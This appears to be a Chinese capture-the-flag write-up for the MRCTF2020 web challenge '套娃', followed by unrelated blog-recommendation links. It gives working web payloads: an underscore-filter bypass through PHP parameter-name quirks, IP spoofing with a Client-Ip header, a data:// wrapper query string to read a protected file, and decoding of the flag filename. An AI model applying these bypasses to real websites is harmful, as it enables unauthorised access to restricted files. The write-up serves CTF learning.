[MRCTF2020]套娃1

打开题目,查看源代码,有提示

有两层过滤

1.过滤"_"与"%5f" 。

这里要求的参数必须是"b_u_p_t"但是不能检测出"_"。这里看着很作弄人。其实这里要用到php里非法参数名的问题。可以参考一下博客

?b.u.p.t=23333%0a

看到提示,flag在FLAG is in secrettw.php

访问secrettw.php

说我能更聪明

直接访问

ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

看到一堆外星语,JavaScript语言,复制解码,找网站运行,发现需要破石头请求

看到最后源码

//逆向代码

<?php

$v="flag.php";

$re='';

for(i=0;i<strlen(v);i++)

{

re.=chr(ord(v$i)-$i*2);

}

v1=base64_encode(re);

echo $v1;

?>

//v1=ZmpdYSZmXGI=

.change函数,先进行base64解码,在对每一位的ascii码加上i*2。很简单写一个逆函数就行

最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息,结果如下:

flag{c8cf3dad-15b4-4a55-9344-51e749df0029}

相关推荐
若亦_8 小时前
Java泛型入门:类型安全与上界约束
java·1024程序员节
凉茶钱8 小时前
stack、queue、priority_queue、容器适配器完整梳理
开发语言·c++·queue·1024程序员节·stack
编程的一拳超人8 小时前
【元宝搜索开发者征文大赛】四语实战:Java/Python/Go/Node.js 构建 AI 搜索应用全攻略
java·python·golang·node.js·agent
wuminyu8 小时前
JVM规范学习总结-Java源码经过javac编译后产物
java·linux·c语言·jvm·c++
ly76898 小时前
Spring Security 过滤器链定制:认证、CORS 与 CSRF 的先后顺序
java·spring boot·spring·spring security·csrf·cors·过滤器链
云和数据.ChenGuang8 小时前
Python 菜鸟入门:字典(dict)类型详解与 CRUD 实战案例
开发语言·人工智能·python
yuniko-n8 小时前
【JUC】读写锁 StampedLock
java·1024程序员节
攻城狮Soar8 小时前
详解volatile
开发语言·c++·1024程序员节
小羊没烦恼!8 小时前
.NET无侵入自动化探针原理和主流实现
运维·开发语言·javascript·python·自动化·.net·1024程序员节
文丑颜不良啊8 小时前
LeetCode701~725题目解析
java·leetcode